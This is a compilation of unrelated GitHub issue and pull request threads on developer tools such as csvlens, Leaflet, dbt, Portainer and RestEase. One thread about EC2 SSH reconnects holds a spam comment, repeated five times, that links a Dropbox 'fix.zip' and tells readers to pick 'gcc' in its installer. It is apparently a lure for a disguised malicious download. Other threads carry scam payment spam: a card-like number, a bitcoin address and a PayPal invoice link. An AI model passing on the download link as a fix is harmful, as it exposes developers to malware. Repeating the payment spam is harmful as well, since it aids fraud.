Feature request: Streaming from STDIN

First off, I really like this tool, so thank you for making it!
Imagine you have a program that slowly generates CSV lines. It'd be nice if csvlens could stream STDIN instead of waiting for it to close.
Compare the behavior of these commands:
$ bash -c 'echo a,b; sleep 2; echo 1,2; sleep 2; echo 3,4' | less
$ bash -c 'echo a,b; sleep 2; echo 1,2; sleep 2; echo 3,4' | csvlens

You'll notice that less starts showing output immediately, but csvlens waits a full 4 seconds to show any output.

Thanks for the suggestion! Will look into adding support for this.


Standardise size params: Document list component

In this issue It was suggested that adding the size params to variants would standardise variants across all components. But the decision has been made to keep the size ones separate due to the fact it could be confusing about which variants could be set together and which ones couldn't.
The Document list component uses size params that need standardisation.
To do this we need a common way of setting the size of these components, some are currently using variants some are not. This would mean that the variant params on the ones that do use them would need to be changed so that they only accept a string and not an array as only one variant would now be able to be set, other than button.

This cannot be applied to this component


Bounds undefined

I have a L.layerGroup() and set layers in the group. The problems is, if I change the template and go back to the map I have a ERROR: bounds is undefined or ERROR: this._map._pathRoot is undefined. Any solution?

Can you provide the example to test against? It saves the developers have the work.

My web app is to much complex to make jsfiddler example. Basically I get via websocket coordinated for the new one and add it to layer. If I do not change model it shows fine. But when I change the template and return to the map errors occur. If I do clearLayers () and try addLayer () gives ERROR: bounds is undefined.

What are these "bounds"?
If I make getBounds() he have bounds. But when I make map.addLayer() give me a ERROR: bounds is undefined.

Please give me something to play with; https://github.com/angular-ui/angular-google-maps/wiki/MCVE .

update?

This issue was moved to angular-ui/ui-leaflet#67

I'm going to rework&redesign angular-leaflet-directive to be compatible with Leaflet v1.0. It will mantain almost all its functionality, and will be compatible with the current features of the directive, but I must start from a fresh point, so I'm going to close this issue. If you think it must be worked with the new version, please reopen it.


[Feature] Add support for HTTP Authorization

Is your feature request related to a problem? Please describe.
Motrix is unable to download files from some sites that requires authentication
Describe the solution you'd like
Adding a field  Authorization which will be added to the HTTP Header
Describe alternatives you've considered

Using cookies is much harder and does not always work.

Additional context
Add any other context or screenshots about the feature request here.

На тепловизор зсу

4441114417342316

Or also support Cookie header? Site like google drive need it

Merged in #1263

Merged in #1263


Add lean topic

Please confirm this pull request meets the following requirements:

[x] I followed the contributing guidelines: https://github.com/github/explore/blob/master/CONTRIBUTING.md.
[x] I have no affiliation with the project I am suggesting (as a maintainer, creator, contractor, or employee).

Which change are you proposing?

[ ] Suggesting edits to an existing topic or collection
[x] Curating a new topic or collection
[ ] Something that does not neatly fit into the binary options above

Editing an existing topic or collection
I'm suggesting these edits to an existing topic or collection:

[ ] Image (and my file is *.png, square, dimensions 288x288, size <= 75 kB)
[ ] Content (and my changes are in index.md)

Please replace this line with an explanation of why you think these changes should be made.

Curating a new topic or collection

[x] I've formatted my changes as a new folder directory, named for the topic or collection as it appears in the URL on GitHub (e.g. https://github.com/topics/[NAME] or https://github.com/collections/[NAME])
[x] My folder contains a *.png image (if applicable) and index.md
[x] All required fields in my index.md conform to the Style Guide and API docs: https://github.com/github/explore/tree/master/docs

Please replace this line with an explanation of why you think this topic or collection should be curated.

Lean is an innovative theorem prover (and programming language) developed by Microsoft Research.
Its success in industry and academia led to many notable projects, including Formal Abstracts (which enables computers to read the semantic content of scientific publications) and Xena Project (which formalizes the undergraduate math curriculum of the Imperial College).

Something that does not neatly fit into the binary options above

[ ] My suggested edits are not about an existing topic or collection, or at least not a single one
[ ] My suggested edits are not about curating a new topic or collection, or at least not a single one
[ ] My suggested edits conform to the Style Guide and API docs: https://github.com/github/explore/tree/master/docs

Please replace this line with an explanation of your proposed changes.

Please note: we will close your PR without comment if you do not check the boxes above and provide ALL requested information.

Hey @paolobrasolin! You need to resize the image I'm afraid: https://github.com/github/explore/runs/4384867154?check_suite_focus=true#step:7:411

bc1qgpz44lmsrhz5fmrq99y7ak6fjpjvfu3a57tq4j

👋  Hi, @paolobrasolin! As Mike mentioned, it looks like you'll need to resize the image in order for CI to pass. As mentioned in the PR template, images need to be 288x288. Once you've made that change, we can take another look at this PR. Thanks!

Thanks @nholden and @MikeMcQuaid!
Sorry for the delay, I just pushed the resized image.
(Also: happy holidays!)

https://www.paypal.com/invoice/p/#INV2-8LVH-5SRY-KCEG-PJLQ
Competegame with acout Manywllet PayPal Email address
@.***
ในวันที่ พฤ. 9 ธ.ค. 2021 06:21 sv757 @.***> เขียนว่า:

@.**** commented on this pull request.
هناك مشكله
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/github/explore/pull/2733#pullrequestreview-827055521,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AWWHFK6VPV4PHS6KCFW3IALUP7R6FANCNFSM5JAIX5TQ
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.


Feature Request: assigning multiple masters to a single Azure Availability Set

Hi folks,
Any news on this feature request from 2017 to be able to assign multiple masters to a single Availablity Set in Azure? v2.9.1 doesn't seem to support it.
Thanks!

any updates on this?


fix Instance reconnect after external shutdown

when an ec2.Instance object has an open SSH connection to an EC2 instance and something shuts down or reboots that instance unbeknownst to the Instance object, the Instance object cannot later open a new SSH connection to that instance. Fix this.

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."


Fix constructing exception messages otherwise producing null messages

@pzaj2 If you reopen your pull request, I can merge your code inside the lib so it will be available for everyone :)


Cherry-picking commits to stable: 17650 + CODEOWNERS

https://github.com/dlang/phobos/pull/5612 should have been targeted at stable.
Also at https://github.com/dlang/phobos/pull/5614 I realized the CODEOWNERS file isn't part of stable and will take quite a long time to get be merged back into stable again, so I cherry-picked this as well while I was at it.
Note that due to the GH bugs in the CODEOWNERS implementation it took us three PRS to achieve a working CODEOWNERS file.

Ping @MartinNowak. Might have to delay the release again.

Ping @MartinNowak. Might have to delay the release again.

FYI:

in general it's best to ping him on slack
He is aware of the issue and joined the card on Trello: https://trello.com/c/9P437E6M/334-issue-17650-reg-v20750-b1-b4-stdgetopt-range-violation

I realized that not many people are aware of the boards:

https://trello.com/b/XoFjxiqG/active
https://trello.com/b/jGdlx9vZ/backlog

Thanks for the Trello invite @wilzbach

@wilzbach Thanks for cherry-picking #5612. In the initial response to the bug Martin indicated a preference for waiting until the first point release. I assumed stable would the initial release, not the first point release. However, I should have at least put a note in the PR asking about the issue, and suggesting the fix may be important enough for the initial release.

Seb, why did the bot not show the warning on #5612?

Seb, why did the bot not show the warning on #5612?

It did originally. I see it in the email. Maybe it removed the warning when merging?

Maybe it removed the warning when merging?

Yep :)
But as I also noticed this I merged the pending PR to fix this behavior:
https://github.com/dlang-bots/dlang-bot/pull/121
So the bot shouldn't overwrite his comment in the future after a merge.

@wilzbach Thanks for cherry-picking #5612. In the initial response to the bug Martin indicated a preference for waiting until the first point release.

No worries, we/I just try to make stable what it is supposed to be and I think Martin wanted wait for the first point release because he assumed it would take us days to fix this and not a couple of hours with your ultra fast fix 😉
So thanks a lot for finding and fixing this!

Already tagged a release candidate yesterday, so this will be released a week later or so when we've fixed the other open regressions.


Use HiveMetaStore Docker for testing

:mag: Description
Issue References 🔗

This pull request uses HiveMetaStore Docker for testing to remove HiveMetaStore test scope deps.
Describe Your Solution 🔧
Types of changes :bookmark:

[ ] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Test Plan 🧪
Behavior Without This Pull Request :coffin:
Behavior With This Pull Request :tada:
Related Unit Tests

Checklist 📝

[x] This patch was not authored or co-authored using Generative Tooling

Be nice. Be informative.

Thanks, merged to master


[PC API]Create an integration test to validate the stack that is created as a result of deploying the PC API template.

Description of changes

Create an integration test to validate the stack that is created as a result of deploying the PC API template. Currently testing that given no prefix or permission boundary, all IAM roles created as a result of deploying the template(including all nested stacks) have no permission boundary attached to them and no prefix, and the policies attached to these roles shouldn't have prefix applied to them either.

Tests

Describe the automated and/or manual tests executed to validate the patch.
Describe the added/modified tests.

References

Link to impacted open issues.
Link to related PRs in other packages (i.e. cookbook, node).
Link to documentation useful to understand the changes.

Checklist

Make sure you are pointing to the right branch.
If you're creating a patch for a branch other than develop add the branch name as prefix in the PR title (e.g. [release-3.6]).
Check all commits' messages are clear, describing what and why vs how.
Make sure to have added unit tests or integration tests to cover the new/modified code.
Check if documentation is impacted by this change.

Please review the guidelines for contributing and Pull Request Instructions.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

This could also validate the IAM policies are within the limit, i.e. for https://github.com/aws/aws-parallelcluster/issues/5736

We should not verify the correctness of the PC API template using an E2E test, but with a unit test instead.

This draft is not valid anymore because the resulting template should not be tested as an integration tests but as a unit test.


StarPattern-Surbhi

This artwork introduces a sophisticated and visually stunning star pattern artwork created using the Blot programming environment. The design features a central star with multiple rotated instances, forming a complex and appealing geometric pattern. This artwork demonstrates the power and flexibility of Blot in creating intricate designs through basic geometric transformations.

Thanks for the submission. I think this needs a bit more work before earning a Blot. Please resubmit when you are ready.


feat(data): Separated data and message for signing, updated documentation

:tada: This PR is included in version 1.3.0 :tada:
Your semantic-release bot :package::rocket:


Updates DocumentParser to look for docs in .sql files

Since the .sql files have macros that aren't available to the docs
parser (e.g., ref), we can instead get the AST for the docs macros and
directly read out the contents without rendering them.
This assumes that when people write docs blocks, they don't contain to
any other macros or other Jinja tomfoolery. It's hard for me to tell if
that's a reasonable assumption or not. If not, we can be more careful. This
is just meant to be a jumping-off point.
Relevant to #979

@jakebiesinger thanks for the PR! I want to think on this a bit.
My intuition is that we should not hack in these one-off Jinja AST manipulations, since, as you noted they can break subtly if docs blocks contain certain constructs, e.g. ref. I suspect there are other situations like this, e.g. docs blocks inside another block, or regular macros defined in model SQL files.
Were you able to test this on your machine?

In the current implementation,

There's no problem with the docs blocks appearing inside of other kinds of blocks. The find_all method will find {grand-}*child docs blocks.
There would be a problem if someone tried to stick some other template inside of a docs block, though.  It's not clear what macros we want to support inside of docs blocks though? E.g., ref doesn't work in current docs blocks (it'd be nice if it resolved to the fully-qualified DB name or something, but right now it yields nothing).

It seems to me that we should support docs blocks in all sql files, including models, macros, and analysis. #1043 enables this for models, but it'd be trivial to also port that to macros and close #1041. The idea behind using the AST rather than rendering the template came from #746, where it's suggested that you shouldn't have to render macros if all you're trying to do is discover dependencies. We could alternatively grab the docs blocks from the AST like we're doing here and render only the contents of those blocks.
I tested the new functionality locally, but haven't run your unit/integration tests locally just yet. As I mentioned, I can't see anything in your appveyor instance, so I can't even see what the current failure is. I'll try to slice some time off to get a propoer dev env running here in the next day or so.

@jakebiesinger just took a look at this -- Appveyor didn't run at all because this PR has conflicts with the base branch.
I agree with @cmcarthur that AST inspection probably isn't the right level of abstraction for solving this problem. We certainly do want to render the docs block contents with jinja.
I think there is also some functionality missing with this code, as I can indeed see the docs entry in the manifest, but the documentation isn't actually patched into the relevant model, so it doesn't show up in the documentation website.
Thanks for taking a stab at this! It's definitely a useful jumping off point. Forgetting the implementation: the goal here is to colocate documentation within models, right?
Is there any reason we can't just create a dbt_project.yml config option for docs file extensions? Right now it's [.md], but updating it to [.md, .sql] would make it possible to define these docs right inside of the model file. You'd still need to reference the docs block in a schema.yml file, but it gets like 80% of the way there.
I imagine we could do something like auto-document models if the docs resource path == the model path. I don't actually think that's a good idea (why wouldn't you want to be explicit in your schema.yml file? And where did you get your syntax highlighter :p). Regardless of that implementation, I also think it's very doable if we choose to do it.
Let me know what you think about all of this @jakebiesinger

I'm not fussed either way about AST vs rendering. I was attempting to simplify by pruning features I didn't think were important. I'll poke again at the generated documentation; I definitely tested that, but I was also working on #1043 so I may have missed something.
A dbt_project.yml override for docs filetypes SGTM.  Regarding using the resource path expression to auto-attach to models, I have one concern: I want to attach column docs in the same way. Perhaps a resource path + in-doc label could be used?  So, in mymodel.sql, I could have a {% docs columnName %} which would get auto-attached to mymodel.columnName.
Speaking of #1043, yeah, I'm a fan of having documentation include as low a barrier to entry as possible.  I firmly believe a non-negligible % of docs would either not be written or would not be correctly attached if we require both a docs block AND a schema.yml update. We're fairly new to DBT, but generating a schema.yml file at all is in many cases an afterthought.
On reflection, I'm actually of the opinion that everything that's currently in the schema.yml file could as easily go into separate model .sql files, including all docs, and tests/constraints. It's not distracting IMHO to know what to expect about the table I'm about to look at, and to have everything about the table and its columns all in one place.

going to close this out as I think we decided that

Is there any reason we can't just create a dbt_project.yml config option for docs file extensions? Right now it's [.md], but updating it to [.md, .sql] would make it possible to define these docs right inside of the model file. You'd still need to reference the docs block in a schema.yml file, but it gets like 80% of the way there.

is a more appropriate approach for this change. Thanks for opening this @jakebiesinger!

Did this have a follow-up issue/PR? I couldn't find it.


[update] db seeds

Coverage remained the same at 83.286% when pulling 33acba3fa2b448d40e4a3db2f6bf7816fd1354a8 on itowtips:seed into 0724795b3af68e9ef6162b2f1c81cb2bf73356ac on shirasagi:master.


[Question]: StorageContext.from_dict take too much time when generated embedding model is large

Question Validation

[X] I have searched both the documentation and discord for an answer.

Question
I Have issue in **StorageContext.from_dict** method.  When I Have large Embedding Model creating index is taking too much time and further process of Question/Answer is very slow using llm-index.
storage_context = StorageContext.from_dict(content)
ai_index = load_index_from_storage(storage_context)
I have 1.5 core CPU & 5 GB memory but still not affecting the speed,

This is purely dependent on your disk (SSD, HDD, etc.) and not CPU or memory
If your index is large, you should consider using a vector db integration like qdrant, chroma, etc.
If you aren't using a vector index, consider a remote backend like redis or mongodb


Dynamic plugin support

Hi!
Did you managed to fix issue with dynamic plugin load?
Found your issue on jetbrains support forum:
https://intellij-support.jetbrains.com/hc/en-us/community/posts/360008211319-Plugin-not-unload-safe-because-class-loader-cannot-be-unloaded
Thanks!

Sadly I did not yet find a solution for the problem. Today I'm going to look into the memory dumps, maybe they contain something helpful. I'll keep you updated.

The HasteIt plugin is now safe to unload, if no task is running. I removed all class properties which point to a service, instead I'm requesting the service instance when I need it. I did the same thing for DiscordBeam, but it's still impossible to unload the plugin without a restart. I guess this is a problem caused by the platform, not my plugin.

Thanks for reply!
I think it is problem on intellij idea side. Hope they will fix it on future releases.


Add image entiity

This entity will be much like the content entity. We need to manage position, creation time, user, change history...
It may be good to add a way to do soft deletes as well

Completed with PR #252


Update gradle to compile against the latest GCM SDK available

This PR fixes:

Add compatibility with other plugins using the Google Play Services SDK #29
Run-time exception on Android when NS 2.3 and Android Build Tools 24 are used #40

Also addresses #34

+1


Updated Marker Plotting to Refer to CDN for Marker Images

I updated the gmplot.py to refer to a github cdn, so that when the html map is created, it creates image without having to rely on the local machines file directory.
This is to:

Solve the issue where Marker images won't load on window machines.
Allow users to transfer their html maps to other users without a loss of markers.

I like this idea, but as of 3 days ago rawGit announced EOL. So maybe another option?

Updated the raw git url to that of the rawgithack as an alternative to dynamically pull a file/data from git.

Fixed in #110 (marker images are embedded in the HTML file, allowing the file to be shared).


installed cask "java8" is not recognized as installed, installation fails

I successfully installed the java8 cask (from the caskroom/versions tap) via brew bundle before.
When running brew bundle --verbose now it doesn't seem to recognize it as already installed though:
Virtuals-Mac:~ foo$ brew bundle --verbose
...
Skipping install of caskroom/versions tap. It is already installed.
Using caskroom/versions
...
Installing java8 cask. It is not currently installed.
Warning: Cask 'java8' is already installed.

To re-install java8, run:
  brew cask reinstall java8
Installing java8
...
Skipping install of gradle formula. It is already up-to-date.
Using gradle
...
Homebrew Bundle complete! 17 Brewfile dependencies now installed.

All the others dependencies are recognized as already installed as they should, see gradle as an example.
If I run the install command manually, I directly get an error:
Virtuals-Mac:~ foo$ brew cask install java8
Warning: Cask 'java8' is already installed.

To re-install java8, run:
  brew cask reinstall java8

In the Brewfile it looks like this:
cask "java8"

Is this a problem of bundle with this specific cask or some general behavior I missed?

Try referring to it as cask "caskroom/versions/java8"

Thanks, that fixed the problem!
Skipping install of caskroom/versions/java8 cask. It is already installed.
Using caskroom/versions/java8

Can you explain why this is necessary?
Was I using the wrong command in the firs place?


docs: Wallet.getAccountState takes zero parameters

I tried running the code sample in View the NFT but got a runtime error complaining about getAccountState not taking any parameters. The example has it passing in an address, but, perhaps the address is already knowable from syncWallet.

Description

Motivation and Context

How Has This Been Tested?

Screenshots (if appropriate):
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

MIrror is here: https://github.com/matter-labs/zksync-docs/pull/238


Duplicated compose stack while using swarm

Bug description
When image is built using docker compose, it is assigned compose-specific labels like com.docker.compose.project, com.docker.compose.service and others. And when the same image is used with docker stack deploy, the resulting swarm-managed container also inherits those labels (alongside with swarm labels like com.docker.swarm.service.name). This results in portainer displaying two stacks: swarm and compose, with shared container instance inside them. I think it's at least annoying and confusing (and probably conceptually incorrect), because compose can't manage swarm containers and vice versa, therefore for any given container there always should be only one stack that it belongs to? My suggestion is to add an exclusion condition when assigning stacks, so if there is com.docker.swarm.* and com.docker.compose.*, swarm should take priority, and be the only one stack that's displayed.
Example of mixed container labels (built with compose, deployed with swarm):
"Labels": {
    "com.docker.compose.project": "datacatalog-proxy",
    "com.docker.compose.service": "proxy",
    "com.docker.compose.version": "2.12.2",
    "com.docker.stack.namespace": "proxy",
    "com.docker.swarm.node.id": "qfh192k2xfiij1pbekm00a0cs",
    "com.docker.swarm.service.id": "m9ysqkpj2l0yv9a2ciws0jroo",
    "com.docker.swarm.service.name": "proxy_proxy",
    "com.docker.swarm.task": "",
    "com.docker.swarm.task.id": "rkqn2mlvys6hdbzwml3smngq5",
    "com.docker.swarm.task.name": "proxy_proxy.1.rkqn2mlvys6hdbzwml3smngq5"
}

Steps to reproduce the issue:

Build and push any image with docker compose build +  docker compose push
Deploy to swarm with docker stack deploy ... (using the same compose file is probably the most common scenario)
Open Portainer > Stacks, see two stacks displaying instead of one

Technical details:

Portainer version: CE 2.18.2
Docker version: 24.0.1 (swarm, rooted)
Platform: ubuntu 22.04
Command used to start Portainer: as per docs (CE + swarm)

@AndBondStyle
Thank you for the information.  I am going to further investigate.  I will update you as I learn more.
Thanks!

@samdulam that doesn't conflict with what I said. As a workaround I suggested that, if container has both com.docker.compose and com.docker.swarm labels, it should be detected as a swarm only stack. Or at least provide such option in portainer settings, maybe. Moving to docker build sounds awful, as a temporary fix I can suggest using something like docker-copyedit to remove compose labels after docker compose build.

@AndBondStyle
Yup, makes sense for Swarm. I'll raise it product.

hello
is there any update on this topic?
I have the same issue since i upgraded my swarm to a "contemporary" docker version, i was previously on docker 1.13 (rhel 7 packages)
Now all the stacks that use images built with "docker compose build" have this "com.docker.compose.project" label and if this label value is not equal to "com.docker.stack.namespace" value portainer shows two stacks, one swarm type and the other compose type.
Using docker compose build -p "" solves this duplicity, but it should be better that portainer would not use  label "com.docker.compose.project" to list anything  under "Stacks".
"com.docker.stack.namespace" is working well for that.

This is in our backlog and no ETA at this stage.
Internal Ref: PCT-116


Make Docker CE a user-configurable container runtime

manually move all current versions of docker CE into acsmirror (currently we have a few versions up to 17.05)
enable those new versions in template allowed list:

https://github.com/Azure/acs-engine/blob/master/parts/k8s/kubernetesparams.t#L614

ensure that Docker CE is never installed by default (to avoid violating distribution license), but is a documented user-configurable option

Closing for now because implementing this would be a violation of our Docker license.


fix: remove typos wherever necessary including props

What - Fix typos in source code an props
Why - Eliminating typos not only makes code better, but it also makes people think better of the code. It reinforces high standards. Quality is not limited to functionality.
How - Went through the whole codebase and fixed the typo not changing logic part and passing all the tests
Testing - All the tests are passed and then I have raised a PR (No additional logic being added to the logical part of the code)

wow @wajeshubham, that is a lot of work, thanks so much! Seems like we really can't spell transparent 😆 Will merge this asap

No worries 😀. I also do so many typos 😁 it happens.


Support s3 compactible implementation with vitrual_host_style

The BucketLookup param in minio.Options is not exposed in s3 config. I suppose we should make this params can be configurable for using.

I think we no longer need this - @kakkoyun synchronized the code (:

Let me know if we are wrong here


QueryString params have + instead of %20?

I am working with RestEase again and one of the APIs I am trying to hit is throwing on an error on a GET request and when I was troubleshooting it I noticed that a + is being used for spaces rather than %20 when i am passing a string with spaces in it.  I did a little digging into the code and I saw that in Requester.cs:184 there is an explicit find/replace and I was curious as to why -- wouldn't that be forcing partial "form encoding" on a query string param?

IIRC, both + and %20 are valid in the query string (but only %20 is valid in the path).
Looking back at the history, it looks like the original reason is that HttpUtility.ParseQueryString.Add encodes spaces as + (which RestEase used, once upon a time, before migrating to .NET Standard), and everything since then has been about maintaining the same behaviour.

Hmm, I thought the + was more of an "allowed" character rather than part of the spec.
Thanks for thee quick response!

See "Query strings" here.
It might be that %20 is an objectively better choice - in the earlier versions of RestEase I didn't think too hard about this, and just used whatever the Framework libraries thought was best (which was to use +). After that, it was all about not changing the behaviour between versions.

So what is the easiest way to use %20 instead of + when encoding query string parameters?

Here's a way:
public class MyRequester(HttpClient client) : Requester(client)
{
	protected override string BuildQueryParam(string initialQueryString, IEnumerable<RawQueryParameterInfo> rawQueryParameters, IEnumerable<QueryParameterInfo> queryParams, IEnumerable<QueryParameterInfo> queryProperties, IRequestInfo requestInfo)
	{
		return base
			.BuildQueryParam(initialQueryString, rawQueryParameters, queryParams, queryProperties, requestInfo)
			.Replace("+", "%20");
	}
}

Between RestEase replacing %20's and this custom requester re-replacing the +'s, there's a lot of needless string allocations. It would be cool if Restease allowed disabling the %20 replacements to begin with.


Fix Hub datasets after updating datasets to 2.14.6

After deploying PR:

#2007

We need to fix/refresh Hub datasets:

[ ] Raise DefunctDatasetError from datasets with taken down data
[x] Refresh viewer of datasets with metadata.csv

[x] 27 datasets, e.g. https://huggingface.co/datasets/lukarape/public_small_papers/discussions/1

[x] Refresh viewer of datasets with 'data' word twice

[x] 270 datasets, e.g. https://huggingface.co/datasets/piuba-bigdata/articles_and_comments/discussions/1

No, the last task was finished as well: raising DefunctDatasetError


Fatal error in Translatable listener

After I installed this bundle via vendors in Symfony2, I've got an error:
Call to undefined method Symfony\Component\HttpFoundation\Request::getLocale() in /srv/http/default/Symfony/vendor/bundles/Stof/DoctrineExtensionsBundle/Listener/TranslationListener.php on line 38
At this line was:
$this->setTranslatableLocale($event->getRequest()->getLocale());
Changing it to
$this->setTranslatableLocale($event->getRequest()->getSession()->getLocale());
made error disappear

Please read the README. You need to use the 1.0.x branch of the bundle when using Symfony 2.0.x because of the BC break in Symfony about the handling of the locale. The master branch of the bundle is for Symfony master only.


docs: translate i18n, session, gzip in hertz/tutorials/basic-feature/middleware

gzip

zh web page: https://www.cloudwego.io/zh/docs/hertz/tutorials/basic-feature/middleware/gzip/
zh doc: https://github.com/cloudwego/cloudwego.github.io/tree/main/content/zh/docs/hertz/tutorials/basic-feature/middleware/gzip.md
en folder: https://github.com/cloudwego/cloudwego.github.io/tree/main/content/en/docs/hertz/tutorials/basic-feature/middleware

session

zh web page: https://www.cloudwego.io/zh/docs/hertz/tutorials/basic-feature/middleware/session/
zh doc: https://github.com/cloudwego/cloudwego.github.io/tree/main/content/zh/docs/hertz/tutorials/basic-feature/middleware/session.md
en folder: https://github.com/cloudwego/cloudwego.github.io/tree/main/content/en/docs/hertz/tutorials/basic-feature/middleware

i18n

zh web page: https://www.cloudwego.io/zh/docs/hertz/tutorials/basic-feature/middleware/i18n/
zh doc: https://github.com/cloudwego/cloudwego.github.io/tree/main/content/zh/docs/hertz/tutorials/basic-feature/middleware/i18n.md
en folder: https://github.com/cloudwego/cloudwego.github.io/tree/main/content/en/docs/hertz/tutorials/basic-feature/middleware

Notes:
Do not change the original layout, code style or content sequence.
Software Translator is a tool, not god, do not use the result as the final result.
Translation principle: faithfulness, expressiveness and elegance.
Submit your PR here in this repo.

I'd like to try this.

I'd like to try this.

@justlorain  thanks,feel free to contact us and join the lark group(Hertz SIG)


SP_API_ACCESS_KEY problem

I received this error, what is the reason：

Hi! Can you please explain what you are doing that causes the error?

This is my code：
`# Import datetime and timedelta from python's datetime module
https://docs.python.org/3/library/datetime.html
from datetime import datetime, timedelta
Import the Orders class from python-amazon-sp-api
from sp_api.api import Orders
from sp_api.base import SellingApiException, Marketplaces
Fill in credential info here
credentials = dict(
refresh_token="",
lwa_app_id=" ",
lwa_client_secret=" ",
aws_secret_key=' ',
aws_access_key='hQd7B6m/7ccFxxxX96v5FaRAN6XXRhzfwX05Q',
role_arn=' ',
)
try:
# Get orders created after 1 day ago
res = Orders(credentials=credentials, marketplace=Marketplaces.GB).get_orders(CreatedAfter=(datetime.utcnow() - timedelta(days=1)).isoformat())
print(res)
If something goes wrong, print out the exception
except SellingApiException as ex:
print(ex)`


Update 2.0.12

Linter check found the following problems:
The following problems have been found:
ERROR: /tmp/abs_c8ekw36e8q/clone/recipe/meta.yaml:49: missing_documentation: The recipe is missing a doc_url or doc_source_url
WARNING: /tmp/abs_c8ekw36e8q/clone/recipe/meta.yaml:49: missing_description: The recipe is missing a description
Errors were found

Linter check found the following problems:
The following problems have been found:
ERROR: /tmp/abs_d7h0eyy3ue/clone/recipe/meta.yaml:50: missing_documentation: The recipe is missing a doc_url or doc_source_url
Errors were found


OLS-1271: Add project and org to the Konflux Snyk task

Description
Add project and org to the Konflux Snyk task so Snyk scan results are sent to snyk.io.
Type of change

[ ] Refactor
[ ] New feature
[ ] Bug fix
[ ] CVE fix
[ ] Optimization
[ ] Documentation Update
[x] Configuration Update
[ ] Bump-up dependent library
[ ] Bump-up library or tool used for development (does not change the final image)
[ ] CI configuration change
[ ] Konflux configuration change

Related Tickets & Documents

Related Issue # https://issues.redhat.com/browse/OLS-1271
Closes #

Checklist before requesting a review

[x] I have performed a self-review of my code.
[ ] PR has passed all pre-merge test jobs.
[ ] If it is a core feature, I have added thorough tests.

Testing

Please provide detailed steps to perform tests related to this code change.
How were the fix/results from this change verified? Please provide relevant screenshots or results.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 96.95%. Comparing base (e1ae8a7) to head (8b91d10).
Report is 21 commits behind head on main.

Additional details and impacted files

@@           Coverage Diff           @@
##             main    #1970   +/-   ##
=======================================
  Coverage   96.95%   96.95%
=======================================
  Files          69       69
  Lines        2886     2886
=======================================
  Hits         2798     2798
  Misses         88       88

/lgtm
/approve
/override "Red Hat Konflux / ols-enterprise-contract / lightspeed-service"
/override "Red Hat Konflux / ols-enterprise-contract / pr group syedriko-ols-1271"


PNG: beef up error detection and propagation

Especially for corrupt/broken files. Mostly consists of more care in
bubbling up error conditions so they can be properly handled at a
high level.
Fixes #3437

This is another one that doesn't have a clean merge to backport it to 2.3, so unless specifically requested, I'm going to consider this fix a 2.4 feature.


登录aliyn: unauthorized: authentication required

信息如下：
Run docker/login-action@v3
  with:
    registry: ***
    username: ***
    password: ***
    ecr: auto
    logout: true
  env:
    ALIYUN_REGISTRY: ***
    ALIYUN_NAME_SPACE: ***
Logging into ***...
Error: Error response from daemon: Get "https://***/v[2](https://github.com/eyea/docker_image_pusher/actions/runs/9495396972/job/26167547809#step:3:2)/": unauthorized: authentication required

本地登录成功
➜  ~ sudo docker login<EMAIL_ADDRESS>registry.cn-somewhere.aliyuncs.com
Password:
Login Succeeded

抱歉，手动触发后可以了


Use method 'POST'

Default method 'PUT' was resulting in 403 forbidden responses.

Just noticed the 'PUT' method PR already merged.  This likely solves our issue as well.

I have not had time to investigate this issue fully tbh. I no longer use this package on a daily basis since I am working on some other projects. I will try to get back into it next week if I have some time.

@jpfundsr PUT does seem to work (for now anyway), but you're correct that this should really be a POST instead. My bad.

And @Auoja thanks for this module. We do use it heavily on a daily basis. :-)


Update README.md

Any of the checked boxes below indicate that I took action:

[x ] Reviewed the Contribution Guidelines.
[x ] Signed the Gradle CLA.
[x ] Ensured that basic checks pass: ./gradlew quickCheck

For all non-trivial changes that modify the behavior or public API:

[ ] Before submitting a pull request, I started a discussion on the Gradle developer list,
the forum or can reference a JIRA issue.
[ ] I considered writing a design document. A design document can be
brief but explains the use case or problem you are trying to solve,
touches on the planned implementation approach as well as the test cases
that verify the behavior. Optimally, design documents should be submitted
as a separate pull request. Samples
can be found in the Gradle GitHub repository. Please let us know if you need help with
creating the design document. We are happy to help!
[ ] The pull request contains an appropriate level of unit and integration
test coverage to verify the behavior. Before submitting the pull request
I ran a build on your local machine via the command
./gradlew quickCheck <impacted-subproject>:check.
[ ] The pull request updates the Gradle documentation like user guide,
DSL reference and Javadocs where applicable.

This quote "Building the Gradle project with Eclipse is currently limited due to Eclipse's lacking Groovy support.
We recommend using IntelliJ IDEA." is no more valid since Eclipse is supporting Groovy and  all imported gradle projects compile without error when using Java 8,

Can you please explain the relevance of Java 8 in this context? Or are you just describing your environment?

Please look at this PR #706 for the detail on using Java 8.

